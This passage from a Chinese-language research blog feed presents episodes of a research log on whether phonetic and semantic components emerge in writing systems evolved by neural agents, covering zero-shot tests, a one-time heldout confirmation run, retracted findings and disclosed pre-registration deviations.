style="fill:var(--ink-dim);--i:1"></rect><text x="183" y="237.15999999999997" text-anchor="middle" style="fill:var(--ink);font-size:11px">-0.602</text><text x="167" y="282" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">遮左</text><rect x="381" y="46" width="30" height="100.35142857142858" rx="2" class="chart-bar-negative" style="fill:var(--accent);--i:2"></rect><text x="397" y="160.35142857142858" text-anchor="middle" style="fill:var(--ink);font-size:11px">-0.341</text><rect x="413" y="46" width="30" height="110.65142857142857" rx="2" class="chart-bar-negative" style="fill:var(--ink-dim);--i:3"></rect><text x="429" y="170.65142857142857" text-anchor="middle" style="fill:var(--ink);font-size:11px">-0.376</text><text x="413" y="282" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">遮右</text></svg><figcaption>遮字形一半的傷害：同場題與同音題幾乎相同</figcaption></figure>
<p>遮掉一半造成最多 71 個百分點的傷害——傷害很巨大，但<strong>對兩類題目的傷害幾乎完全相同</strong>（差只有 0.013–0.018）。字形的每一半都同時攜帶語意和語音兩種資訊，比例相同。左半承載的資訊多於右半，所以字形不是均質的、確實有空間結構——但那個結構不是形符和聲符。</p>
<p>這不再是靠代理指標推論出來的「沒有分工」，是直接遮掉空間位置測出來的「沒有分工」，而且比先前用輸入路徑消融得到的同一句話<strong>硬得多</strong>。</p>
<h3 id="順帶量到-逼出兩條通道會推高部件複用-但推的不是分工" class="phrased">順帶量到：<wbr>逼出<wbr>兩條<wbr>通道<wbr>會推高<wbr>部件<wbr>複用，<wbr>但推的<wbr>不是<wbr>分工</h3>
<p>對抗式候選集逼著兩個通道都變得必要之後，部件複用率來到專案目前最高的 0.792–0.805（先前是 0.748）。逼字形不能偷懶，確實會讓系統長出更多共用部件——但那是「共用更多零件」，不是「把零件分成兩組各司其職」。</p>
<h2 id="探索階段到此結束" class="phrased">探索<wbr>階段<wbr>到此<wbr>結束</h2>
<p>三個階段（S1 語音層、S2 劑量曲線與零樣本、S3 方言壓力）、零樣本探針、空間雙重分離全部跑完並寫進 <code>FINDINGS.md</code>。<code>heldout</code> 那 102 個詞，從專案開始到現在，一次都沒有被載入過。</p>
<p>現在唯一剩下的重大決策是要不要動用它——這是一次性資源，動用之後探索階段就正式結束，任何後續調整都要記為「看過確認資料之後的變更」。卡住的地方是算力：pre-registration 原訂的確認階段規模（5 個 λ 點 × 5 種子 × 6 劑量）在「訓練候選數等於評估候選數」這個修訂後的規則下，單一個 S2 run 要 14 小時，全部跑完是三個月。三個縮減方案擺在桌上：</p>
<table tabindex="0">
<thead>
<tr>
<th></th>
<th>規模</th>
<th>時間</th>
<th>代價</th>
</tr>
</thead>
<tbody>
<tr>
<td>A 只驗主結果</td>
<td>12 run</td>
<td>約 7 天</td>
<td>放棄 λ 掃描與劑量曲線</td>
</tr>
<tr>
<td>B 降到 64 選 1</td>
<td>原規模</td>
<td>約 10 天</td>
<td>準確率 65% 而非 80%，違反修訂 1</td>
</tr>
<tr>
<td><strong>C 零樣本為主</strong></td>
<td>用既有模型直接產生</td>
<td>數小時</td>
<td>只驗零樣本這條線，不驗劑量</td>
</tr>
</tbody>
</table>
<p>C 特別值得考慮：零樣本探針不需要重新訓練 Writer，只需要凍結既有的 Writer、重訓 Reader——heldout 的字形可以直接由現有模型產生。而「新學習者讀不讀得懂沒學過的字」正是這個專案目前最強的正向結果。</p>
<h2 id="這些結論現在有多硬" class="phrased">這些<wbr>結論<wbr>現在<wbr>有多硬</h2>
<table tabindex="0">
<thead>
<tr>
<th></th>
<th>狀態</th>
</tr>
</thead>
<tbody>
<tr>
<td>探索 / 確認</td>
<td>探索階段<strong>已完成</strong>。heldout 102 詞仍從未載入</td>
</tr>
<tr>
<td>正向結果</td>
<td>聲符原則 + 形符原則皆可湧現，42% 的 run 兩者兼具；兩者是取捨（r = −0.34）不是互斥</td>
</tr>
<tr>
<td>主結論</td>
<td>字形有空間結構，但那個結構不是形符和聲符——遮任一半對兩類題目的傷害幾乎相同</td>
</tr>
<tr>
<td>已撤回</td>
<td>「形符與聲符互斥」（v3 的特例）；「讀者換代 × 同音率的 2×2 交互作用」（單種子的假象，4 種子沒複製）</td>
</tr>
<tr>
<td>判準已更換</td>
<td>不再用 <code>dd_interaction</code>（測 Writer 輸入路徑）；改用 <code>spatial_dd</code>（直接遮字形空間）</td>
</tr>
</tbody>
</table>
<h2 id="下一步">下一步</h2>
<p>唯一的決策點是 heldout 怎麼用，三個方案裡 C（零樣本為主）代價最低、也最貼近目前最硬的結果，但那要使用者決定，不是可以自己動的事。不需要等這個決策也能做的事：論文草稿譯成英文、給 v3 這組低同音率設定補種子（目前只有 1 個）。等 heldout 的決定下來、或是英文稿完成，會有第四集。</p>]]></content:encoded>
    </item>
    <item>
      <title>重言 Re-Sinitic：確認階段開了唯一一次獎，通過一半 - 研究日誌（四）</title>
      <link>https://blog.siao.ai/re-sinitic-04/</link>
      <guid isPermaLink="true">https://blog.siao.ai/re-sinitic-04/</guid>
      <pubDate>Thu, 27 Aug 2026 00:00:00 GMT</pubDate>
      <description>heldout 那 102 個從未被載入過的詞，2026-08-27 用掉了，而且只能用這一次。結果是：「可泛化的語音編碼存在」通過確認，在從未見過的字上以 10 倍 chance 的準確率成立；「它隨同音壓力增強」沒有通過。存在的宣稱比函數形式的宣稱更重要，而前者是通過的那個。</description>
      <content:encoded><![CDATA[<blockquote>
<p>這篇是日誌，記的是當時的推論過程。想看目前最新的整體結論，見<a href="/re-sinitic/">現況總覽</a>。</p>
</blockquote>
<p>第三集結尾留了一個決策點：探索階段已經跑完，剩下的問題是要不要動用那 102 個從未載入過的 heldout 詞。這是一次性資源，用掉就沒有回頭路。這集記的是那個決定被做了之後發生的事——2026-08-27，heldout 被打開，而且只開這一次。</p>
<h2 id="開獎之前-先確認管線沒有壞掉" class="phrased">開獎<wbr>之前，<wbr>先<wbr>確認<wbr>管線<wbr>沒有<wbr>壞掉</h2>
<p>直接拿從未見過的資料驗證一個複雜管線，風險是「如果結果難看，說不清楚是理論錯了還是程式錯了」。所以正式動用 heldout 之前，先在 train 226 詞內部切一次 70/30，跑同一支評估腳本乾跑，確認它重現探索階段的主結果：</p>
<table tabindex="0">
<thead>
<tr>
<th></th>
<th>r</th>
<th>β</th>
<th>t</th>
</tr>
</thead>
<tbody>
<tr>
<td>探索階段（train 內部）</td>
<td>+0.903</td>
<td>—</td>
<td>+6.41</td>
</tr>
<tr>
<td>乾跑（同一支腳本，另一次切分）</td>
<td>+0.743</td>
<td>+0.295</td>
<td>+4.44</td>
</tr>
</tbody>
</table>
<p>方向和量級都在，管線驗證通過，才碰 heldout。</p>
<h2 id="用的是最省算力的那個方案" class="phrased">用<wbr>的是<wbr>最省算力的<wbr>那個<wbr>方案</h2>
<p>第三集列過三個方案：只驗主結果（約 7 天）、降到 64 選 1（約 10 天，但違反修訂 1）、零樣本為主（數小時）。用的是第三個——零樣本探針不需要重新訓練 Writer，只需要凍結既有的 Speaker 與 Writer，對 heldout 的語意向量產生發音與字形，再訓練一個只看過 train 226 詞的全新 Reader，問它認不認得這 102 個新字。</p>
<p><strong>heldout 的語意、發音、字形都從未參與過任何階段的訓練</strong>——它們是模型對全新語意的推論，不是背下來的東西。</p>
<h2 id="通過-可泛化的語音編碼-在真正沒看過的字上也成立" class="phrased">通過：<wbr>可泛化的<wbr>語音<wbr>編碼，<wbr>在<wbr>真正<wbr>沒<wbr>看過<wbr>的字上也<wbr>成立</h2>
<pre tabindex="0"><code>主力（語音路開啟）語音辨識   9.9%   = chance 的 10.1 倍   t = +9.43
基線（語音路關閉）語音辨識   2.5%   = chance 的  2.5 倍   t = +2.82
主力 − 基線                  +7.4 個百分點                t = +7.35
</code></pre>
<figure class="chart"><svg viewBox="0 0 560 280" role="img" aria-label="Heldout 確認：語音辨識率（chance ≈ 1.0%）" style="max-width:100%;height:auto;display:block;margin:0 auto"><line x1="44" y1="230" x2="536" y2="230" style="stroke:var(--ink-dim);stroke-width:1"></line><text x="36" y="234" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">0</text><text x="36" y="131" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">5</text><text x="36" y="28" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">10</text><rect x="135" y="26.060000000000002" width="62" height="203.94" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:0"></rect><text x="167" y="20.060000000000002" text-anchor="middle" style="fill:var(--ink);font-size:11px">9.9</text><text x="167" y="260" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">主力（語音路開啟）</text><rect x="381" y="178.5" width="62" height="51.5" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:1"></rect><text x="413" y="172.5" text-anchor="middle" style="fill:var(--ink);font-size:11px">2.5</text><text x="413" y="260" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">基線（語音路關閉）</text></svg><figcaption>Heldout 確認：語音辨識率（chance ≈ 1.0%）</figcaption></figure>
<p>chance = 1/102 ≈ 1.0%。一個只學過 226 個字的讀者，能以 10 倍 chance 的準確率認出 102 個從未存在過的新字的發音，而這個能力有 7.4 個百分點來自語音路本身。</p>
<p>這不是記憶——那些字從未被任何人看過，包括訓練這個 Reader 的過程。是這套從零演化出來的書寫系統，具備擴充到新詞的能力。第二集報過的聲符原則（探索階段 25.2% vs chance 1.5%），現在有了在完全獨立的一批詞上的複製。</p>
<h2 id="沒通過-隨同音壓力增強這件事" class="phrased">沒<wbr>通過：<wbr>隨同<wbr>音<wbr>壓力<wbr>增強<wbr>這件事</h2>
<pre tabindex="0"><code>零樣本語音優勢 vs 同音率   r = +0.377   β = +0.111   t = +1.63
</code></pre>
<p>探索階段是 r = +0.903、t = +6.41；乾跑是 +0.743、+4.44。到了 heldout，掉到不顯著。方向還在（低劑量 n=8 平均 +6.4%，高劑量 n=6 平均 +10.0%），但 18 個資料點的散佈太大，撐不起「隨同音壓力單調增強」這句話。</p>
<h2 id="為什麼-沒通過-不等於-白做" class="phrased">為什麼<wbr>「沒<wbr>通過」<wbr>不<wbr>等於<wbr>「白做」</h2>
<table tabindex="0">
<thead>
<tr>
<th>探索階段的宣稱</th>
<th>確認結果</th>
</tr>
</thead>
<tbody>
<tr>
<td>字形攜帶可泛化的語音資訊</td>
<td><strong>✅ 確認</strong>，而且在完全未見的詞上成立</td>
</tr>
<tr>
<td>那個能力隨同音壓力增強</td>
<td><strong>❌ 未確認</strong>（t = +1.63）</td>
</tr>
<tr>
<td>兩類資訊由字形的不同部分攜帶（= 形聲）</td>
<td>這次沒測，探索階段的結論（從未出現）維持</td>
</tr>
</tbody>
</table>
<p>「聲符原則會湧現」是一個關於<strong>存在</strong>的宣稱；「隨同音壓力增強」是一個關於<strong>函數形式</strong>的宣稱。前者以 t = +7.35 在從未見過的詞上成立，後者不成立。<strong>存在比函數形式更基本，而通過的是存在。</strong> 這也是為什麼 pre-registration 要事先把兩件事分開寫清楚——如果當初只註冊了一條籠統的「聲符效應存在」，這次的結果會很難解讀成「部分通過、部分沒通過」，只會是一團模糊的「差不多」。</p>
<h2 id="這次確認不完美-而且說清楚了哪裡不完美" class="phrased">這次<wbr>確認<wbr>不<wbr>完美，<wbr>而且<wbr>說清楚<wbr>了<wbr>哪裡<wbr>不<wbr>完美</h2>
<details><summary>偏離一：沿用探索階段的既有 artifact（16 選 1 訓練）</summary><p><code>PREREG_amend_1.md</code> 修訂 B 要求訓練候選數等於評估候選數，而在那個規模下重訓需要三個月。<strong>這次確認沒有滿足那個要求</strong>——是一個已知、必須報告的偏離，不是事後才發現的漏洞。</p></details>
<details><summary>偏離二：每個劑量只有 3 個種子</summary><p>prereg §4 原本要求確認階段要 5 個。</p></details>
<details><summary>偏離三（不是缺陷，是規則）：heldout 是一次性資源</summary><p>這次是唯一一次使用。不管接下來想到什麼新問題，都不能再拿 heldout 驗證——任何後續分析都要記為「看過確認資料之後」，不能再宣稱是獨立驗證。</p></details>
<h2 id="論文摘要跟著改寫" class="phrased">論文<wbr>摘要<wbr>跟著<wbr>改寫</h2>
<p>三種理論上該產生分工的壓力並列進了摘要，而且各自失敗的方式不同：同音壓力主動破壞分工（雙重分離隨同音率單調降到 −0.243）；跨方言壓力讓 Writer 完全放棄語音通道，即使方言間的音變對應完全規律；對抗式候選集把部件複用率推到全專案最高（0.805），但空間分工仍是虛無。三個方向都被堵死之後，主張變成：缺失的不是資訊量，是<strong>讓分解划算的那股壓力</strong>——在一個溝通目標可加、分散式編碼對神經讀者毫無劣勢的系統裡，把資訊塗滿整個字形永遠不劣於分割它。</p>
<h2 id="這些結論現在有多硬" class="phrased">這些<wbr>結論<wbr>現在<wbr>有多硬</h2>
<table tabindex="0">
<thead>
<tr>
<th></th>
<th>狀態</th>
</tr>
</thead>
<tbody>
<tr>
<td>探索 / 確認</td>
<td><strong>確認階段已執行</strong>（2026-08-27，一次性，不得重跑）。零樣本主結果通過，劑量關係未通過</td>
</tr>
<tr>
<td>已確認</td>
<td>字形攜帶可泛化的語音資訊，在完全未見的詞上成立（t = +7.35）</td>
</tr>
<tr>
<td>未確認</td>
<td>該能力隨同音壓力增強（t = +1.63，探索階段是 +6.41）</td>
</tr>
<tr>
<td>已知偏離</td>
<td>本次確認沿用 16 選 1 訓練的既有 artifact，未滿足修訂 1「訓練候選數 = 評估候選數」的要求；種子數 3 個，prereg 要求 5 個</td>
</tr>
<tr>
<td>未測</td>
<td>空間分工（形聲的定義性特徵）——確認階段沒有重測，探索階段的「從未出現」是目前最後的證據</td>
</tr>
</tbody>
</table>
<h2 id="下一步">下一步</h2>
<p>heldout 已經用完，不能再回去問它任何新問題。剩下能做的事都在 train 226 詞或既有分析上：論文譯成英文、給 v3 那組低同音率設定補種子。「模組化是不是習得性問題」這個假設如果要測，必須在 train 上設計新的介入，不能碰 heldout。等英文稿完成，或是那個介入有結果，會有第五集。</p>]]></content:encoded>
    </item>
    <item>
      <title>重言 Re-Sinitic：找到聲符,還是丟了形聲 - 研究日誌（二）</title>
      <link>https://blog.siao.ai/re-sinitic-02/</link>
      <guid isPermaLink="true">https://blog.siao.ai/re-sinitic-02/</guid>
      <pubDate>Wed, 26 Aug 2026 00:00:00 GMT</pubDate>
      <description>第一集結尾猜「詞表太小」，這集用零標註測了那個猜測——結果猜錯了，但意外找到一個更硬的正向結果：可泛化的聲符編碼會湧現，只是它取代語意，不與語意分工。順帶撤回一個門檻、抓到一個讓長度懲罰失效兩週的常數 bug。</description>
      <content:encoded><![CDATA[<p>第一集結尾留了一個猜測：形聲沒有湧現，可能是因為詞表只有 226 個詞，太小，可分解性沒有收益。下一步該把詞表放大一個數量級。</p>
<p>沒有放大詞表。因為找到一個零標註就能測同一個猜測的方法，而那個方法測出來的答案，把整個「為什麼沒有湧現」的故事往前推了一步——不是詞表太小，是訓練任務本身在騙自己。這篇是第二集，記兩件事：一個新的正向結果（聲符原則湧現了），和一次自我推翻（S2 的門檻不重現）。順便交代一個埋了兩週、讓長度懲罰完全沒作用的常數 bug。</p>
<blockquote>
<p>這篇是日誌，記的是當時的推論過程。想看目前最新的整體結論，見<a href="/re-sinitic/">現況總覽</a>。</p>
</blockquote>
<h2 id="第一集的猜測沒有被放大詞表證實——因為根本不用放大" class="phrased">第一<wbr>集的<wbr>猜測<wbr>沒有<wbr>被<wbr>放大<wbr>詞表<wbr>證實——<wbr>因為<wbr>根本<wbr>不用<wbr>放大</h2>
<p>放大詞表要花的是標註成本，而那正是最貴的資源。有一個更便宜的做法：不放大詞表，改問「系統看到沒學過的字，能不能靠拆解猜出它的音」。</p>
<p>做法是凍結 Writer、重新初始化 Reader、只在 70% 的字上訓練它，再問剩下的 30%。這等於用同一份 226 詞的詞表，白嫖到「詞表放大十倍」真正想買的東西——<strong>泛化</strong>。</p>
<p>先前所有形聲指標（共部件率、純度、雙重分離）量的都是已見過的字之間的關係。一個把語音資訊塗滿整個字形的系統，和一個真的有聲符的系統，在那些指標上可以長得一模一樣——差別只在沒學過的字上會不會表現出來，而那必須拿沒學過的字來測。</p>
<h2 id="正向結果-聲符原則存在-而且隨同音壓力單調增強" class="phrased">正向<wbr>結果：<wbr>聲符<wbr>原則<wbr>存在，<wbr>而且<wbr>隨同<wbr>音<wbr>壓力<wbr>單調<wbr>增強</h2>
<table tabindex="0">
<thead>
<tr>
<th>同音率</th>
<th>0.021</th>
<th>0.069</th>
<th>0.150</th>
<th>0.178</th>
<th>0.295</th>
<th><strong>0.437</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>主力</td>
<td>5.9%</td>
<td>15.7%</td>
<td>12.7%</td>
<td>15.4%</td>
<td>16.2%</td>
<td><strong>25.2%</strong></td>
</tr>
<tr>
<td>基線</td>
<td>3.4%</td>
<td>3.7%</td>
<td>2.0%</td>
<td>3.9%</td>
<td>2.7%</td>
<td>2.5%</td>
</tr>
</tbody>
</table>
<figure class="chart"><svg viewBox="0 0 560 302" role="img" aria-label="零樣本語音辨識率隨同音率上升（n=36 run）" style="max-width:100%;height:auto;display:block;margin:0 auto"><line x1="44" y1="10" x2="60" y2="10" style="stroke:var(--accent);stroke-width:2"></line><text x="66" y="14" style="fill:var(--ink);font-size:11px">主力</text><line x1="98" y1="10" x2="114" y2="10" style="stroke:var(--ink-dim);stroke-width:2;stroke-dasharray:5,4"></line><text x="120" y="14" style="fill:var(--ink);font-size:11px">基線</text><line x1="44" y1="252" x2="536" y2="252" style="stroke:var(--ink-dim);stroke-width:1"></line><text x="36" y="256" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">0</text><text x="36" y="153" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">15</text><text x="36" y="50" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">30</text><polyline points="44,211.48666666666668 142.4,144.19333333333333 240.8,164.79333333333335 339.20000000000005,146.25333333333333 437.6,140.76000000000002 536,78.96000000000001" class="chart-line" style="fill:none;stroke:var(--accent);stroke-width:2;--i:0"></polyline><circle cx="44" cy="211.48666666666668" r="3.5" class="chart-point" style="fill:var(--accent);--i:0"></circle><text x="44" y="201.48666666666668" text-anchor="middle" style="fill:var(--ink);font-size:11px">5.9</text><circle cx="142.4" cy="144.19333333333333" r="3.5" class="chart-point" style="fill:var(--accent);--i:1"></circle><text x="142.4" y="134.19333333333333" text-anchor="middle" style="fill:var(--ink);font-size:11px">15.7</text><circle cx="240.8" cy="164.79333333333335" r="3.5" class="chart-point" style="fill:var(--accent);--i:2"></circle><text x="240.8" y="154.79333333333335" text-anchor="middle" style="fill:var(--ink);font-size:11px">12.7</text><circle cx="339.20000000000005" cy="146.25333333333333" r="3.5" class="chart-point" style="fill:var(--accent);--i:3"></circle><text x="339.20000000000005" y="136.25333333333333" text-anchor="middle" style="fill:var(--ink);font-size:11px">15.4</text><circle cx="437.6" cy="140.76000000000002" r="3.5" class="chart-point" style="fill:var(--accent);--i:4"></circle><text x="437.6" y="130.76000000000002" text-anchor="middle" style="fill:var(--ink);font-size:11px">16.2</text><circle cx="536" cy="78.96000000000001" r="3.5" class="chart-point" style="fill:var(--accent);--i:5"></circle><text x="536" y="68.96000000000001" text-anchor="middle" style="fill:var(--ink);font-size:11px">25.2</text><polyline points="44,228.65333333333334 142.4,226.59333333333333 240.8,238.26666666666668 339.20000000000005,225.22 437.6,233.46 536,234.83333333333334" class="chart-line" style="fill:none;stroke:var(--ink-dim);stroke-width:2;stroke-dasharray:5,4;--i:1"></polyline><circle cx="44" cy="228.65333333333334" r="3.5" class="chart-point" style="fill:var(--ink-dim);--i:6"></circle><text x="44" y="242.65333333333334" text-anchor="middle" style="fill:var(--ink);font-size:11px">3.4</text><circle cx="142.4" cy="226.59333333333333" r="3.5" class="chart-point" style="fill:var(--ink-dim);--i:7"></circle><text x="142.4" y="240.59333333333333" text-anchor="middle" style="fill:var(--ink);font-size:11px">3.7</text><circle cx="240.8" cy="238.26666666666668" r="3.5" class="chart-point" style="fill:var(--ink-dim);--i:8"></circle><text x="240.8" y="252.26666666666668" text-anchor="middle" style="fill:var(--ink);font-size:11px">2</text><circle cx="339.20000000000005" cy="225.22" r="3.5" class="chart-point" style="fill:var(--ink-dim);--i:9"></circle><text x="339.20000000000005" y="239.22" text-anchor="middle" style="fill:var(--ink);font-size:11px">3.9</text><circle cx="437.6" cy="233.46" r="3.5" class="chart-point" style="fill:var(--ink-dim);--i:10"></circle><text x="437.6" y="247.46" text-anchor="middle" style="fill:var(--ink);font-size:11px">2.7</text><circle cx="536" cy="234.83333333333334" r="3.5" class="chart-point" style="fill:var(--ink-dim);--i:11"></circle><text x="536" y="248.83333333333334" text-anchor="middle" style="fill:var(--ink);font-size:11px">2.5</text><text x="44" y="282" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">0.021</text><text x="142.4" y="282" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">0.069</text><text x="240.8" y="282" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">0.150</text><text x="339.20000000000005" y="282" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">0.178</text><text x="437.6" y="282" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">0.295</text><text x="536" y="282" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">0.437</text></svg><figcaption>零樣本語音辨識率隨同音率上升（n=36 run）</figcaption></figure>
<p>劑量點 r = +0.903，逐 run 迴歸（n=36，含種子固定效果）β = +0.366、t = +6.41、R² = 0.564。chance 是 1/68 ≈ 1.5%，最高劑量的 25.2% 是 chance 的 17 倍。</p>
<p>三件事讓這個結果乾淨：</p>
<ul>
<li><strong>基線全程貼著 chance</strong>（2.0–3.9%），完全沒有隨劑量漂移——效應來自語音路，不是字形整體品質變好</li>
<li><strong>語意方向是反的且顯著</strong>（β = −0.109，t = −2.97）：同音率越高，沒學過的字反而越難從字形猜出意思，排除了「高劑量字形只是比較好認」這個解釋</li>
<li>評估在 unseen 內部做 68 選 1，候選也只從 seen 抽——認得出「這不是我學過的字」拿不到分數</li>
</ul>
<p>系統演化出的東西是一套系統性的、可泛化到新字的語音編碼——看到「江」的「工」就能猜出讀音，即使沒學過「江」這個字。這就是聲符的核心功能。</p>
<h2 id="但那不是形聲" class="phrased">但那<wbr>不是<wbr>形聲</h2>
<p>形聲的定義性特徵不是「字形帶語音資訊」，是<strong>字形可分解為兩個功能不同的部分</strong>。這裡的語音資訊仍然瀰漫全字形（雙重分離全程為負），而且語意方向的零樣本能力<strong>隨劑量下降</strong>——系統不是把兩種資訊分開放，是整體從語意編碼滑向語音編碼。</p>
<blockquote>
<p>可泛化的語音編碼會湧現，而且隨同音壓力單調增強。但它是取代語意編碼，不是與它分工。</p>
</blockquote>
<h2 id="撤回-s2-的-同音率-0-2-門檻-在訓練任務改對之後不重現" class="phrased">撤回：<wbr>S2 的<wbr>「同音<wbr>率 0.2 門檻」<wbr>在<wbr>訓練<wbr>任務<wbr>改對<wbr>之後<wbr>不<wbr>重現</h2>
<p>第一集報告過一個門檻：同音率低於 0.2 平均效果量 −0.028（t = −1.00），高於 0.2 是 +0.494（t = +5.84），而且門檻模型（R² = 0.775）勝過線性模型（0.730）。</p>
<p>那整批資料是在<strong>訓練 16 選 1、評估全詞表 226 選 1</strong> 的設定下跑的，Reader 的語意準確率只有 27%。把訓練候選數改成 64（準確率升到 65%）之後重跑四個劑量點：</p>
<table tabindex="0">
<thead>
<tr>
<th>同音率</th>
<th>語意準確</th>
<th>主力 d</th>
<th>基線 d</th>
<th>差</th>
</tr>
</thead>
<tbody>
<tr>
<td>0.031</td>
<td>75.2%</td>
<td>0.172</td>
<td>0.082</td>
<td>+0.091</td>
</tr>
<tr>
<td>0.177</td>
<td>61.1%</td>
<td>0.765</td>
<td>−0.048</td>
<td><strong>+0.813</strong></td>
</tr>
<tr>
<td>0.257</td>
<td>65.5%</td>
<td>0.258</td>
<td>0.036</td>
<td>+0.221</td>
</tr>
<tr>
<td>0.496</td>
<td>71.2%</td>
<td>0.025</td>
<td>0.156</td>
<td><strong>−0.131</strong></td>
</tr>
</tbody>
</table>
<figure class="chart"><svg viewBox="0 0 560 302" role="img" aria-label="64 選 1 重跑：主力 d vs 基線 d，高劑量端反轉" style="max-width:100%;height:auto;display:block;margin:0 auto"><line x1="44" y1="10" x2="60" y2="10" style="stroke:var(--accent);stroke-width:2"></line><text x="66" y="14" style="fill:var(--ink);font-size:11px">主力 d</text><line x1="112" y1="10" x2="128" y2="10" style="stroke:var(--ink-dim);stroke-width:2;stroke-dasharray:5,4"></line><text x="134" y="14" style="fill:var(--ink);font-size:11px">基線 d</text><line x1="44" y1="200.5" x2="536" y2="200.5" style="stroke:var(--ink-dim);stroke-width:1"></line><text x="36" y="256" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">-0.05</text><text x="36" y="204.5" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">0</text><text x="36" y="50" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">0.80</text><rect x="73.5" y="167.2825" width="30" height="33.2175" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:0"></rect><text x="89.5" y="161.2825" text-anchor="middle" style="fill:var(--ink);font-size:11px">0.172</text><rect x="105.5" y="184.66375" width="30" height="15.836250000000007" rx="2" class="chart-bar-positive" style="fill:var(--ink-dim);--i:1"></rect><text x="121.5" y="178.66375" text-anchor="middle" style="fill:var(--ink);font-size:11px">0.082</text><text x="105.5" y="282" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">0.031</text><rect x="196.5" y="52.759375000000006" width="30" height="147.740625" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:2"></rect><text x="212.5" y="46.759375000000006" text-anchor="middle" style="fill:var(--ink);font-size:11px">0.765</text><rect x="228.5" y="200.5" width="30" height="49.44" rx="2" class="chart-bar-negative" style="fill:var(--ink-dim);--i:3"></rect><text x="244.5" y="263.94" text-anchor="middle" style="fill:var(--ink);font-size:11px">-0.048</text><text x="228.5" y="282" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">0.177</text><rect x="319.5" y="150.67374999999998" width="30" height="49.826250000000016" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:4"></rect><text x="335.5" y="144.67374999999998" text-anchor="middle" style="fill:var(--ink);font-size:11px">0.258</text><rect x="351.5" y="193.5475" width="30" height="6.952499999999986" rx="2" class="chart-bar-positive" style="fill:var(--ink-dim);--i:5"></rect><text x="367.5" y="187.5475" text-anchor="middle" style="fill:var(--ink);font-size:11px">0.036</text><text x="351.5" y="282" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">0.257</text><rect x="442.5" y="195.671875" width="30" height="4.828125" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:6"></rect><text x="458.5" y="189.671875" text-anchor="middle" style="fill:var(--ink);font-size:11px">0.025</text><rect x="474.5" y="170.3725" width="30" height="30.127499999999998" rx="2" class="chart-bar-positive" style="fill:var(--ink-dim);--i:7"></rect><text x="490.5" y="164.3725" text-anchor="middle" style="fill:var(--ink);font-size:11px">0.156</text><text x="474.5" y="282" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">0.496</text></svg><figcaption>64 選 1 重跑：主力 d vs 基線 d，高劑量端反轉</figcaption></figure>
<p>沒有門檻，沒有單調趨勢，高劑量端還反轉了。16 選 1 下同音率 0.177 落在門檻<strong>以下</strong>（差 ≈ +0.010），64 選 1 下是 <strong>+0.813</strong>；16 選 1 下 0.496 落在門檻<strong>以上</strong>（差 ≈ +0.59），64 選 1 下是 <strong>−0.131</strong>。兩端都反了。</p>
<p>16 選 1 只要求字形和它的 15 個鄰居不同——那是局部約束。系統性是全域性質，收益只在「必須和所有 225 個都不同」時才出現。一個只需要贏過 15 個對手的字形，把資訊塗滿六筆完全夠用。<strong>先前所有 S2 數字都是在一個被低估三倍的任務上量出來的。</strong></p>
<p>⚠ 這批 64 選 1 的資料只有 1 個種子，<code>cap5</code> 的 +0.813 比兩側鄰居高一個數量級，很可能是離群值——所以這不是「門檻不存在」的證明，是「門檻不重現」，兩者的後續動作不同：前者可以下結論，後者只能說原結論失去支持。唯一在兩種設定下都單調的量是雙重分離對同音率的迴歸（16 選 1：+0.002 → −0.038；64 選 1：+0.000 → −0.155 → −0.173 → −0.243，r = −0.94）：</p>
<blockquote>
<p>同音壓力不只不產生分工，它主動破壞分工，而且訓練任務越接近評估任務，破壞得越徹底。</p>
</blockquote>
<p>§14 的零樣本結果不受這次撤回影響——它本來就沒有門檻，是從同音率 0.069 就開始的連續上升，而且它重訓 Reader，跟訓練候選數無關。門檻撤回之後，這個專案的正向結果只剩零樣本這一條，但它比撤回的那條硬得多。</p>
<h2 id="新假設-模組化是-習得性-問題-不是-資訊論-問題" class="phrased">新<wbr>假設：<wbr>模組化<wbr>是<wbr>「習得<wbr>性」<wbr>問題，<wbr>不是<wbr>「資訊<wbr>論」<wbr>問題</h2>
<p>第一集把「沒有湧現」歸因於詞表太小。這集的兩個結果指向一個更精確的版本：<strong>226 不是因為這個數字太小，是因為每個字都在訓練集裡。</strong></p>
<p>分散式編碼（語音資訊瀰漫全字形）對神經 Reader 沒有任何劣勢——它看過全部 226 個字形，每個上萬次。對一個已經記住全表的讀者，「形符在左、聲符在右」和「兩者揉在六筆裡」解碼難度一樣，後者甚至更容易，因為參數自由度更高。</p>
<p>人類需要模組化，是因為：會遇到沒學過的字，必須靠拆解猜；每個字的曝光量有限；書寫是從有限的運動基元組合出來的。三個階段的實驗一個都沒有製造這三種壓力。放大到 2260 個詞、但每個字仍然全部參與訓練，可分解性的收益依然是零——只是花十倍標註成本買到同一個結論。</p>
<h2 id="順便-s1-那張最難辯護的圖被修好了" class="phrased">順便：<wbr>S1 那張<wbr>最難<wbr>辯護<wbr>的圖被<wbr>修好<wbr>了</h2>
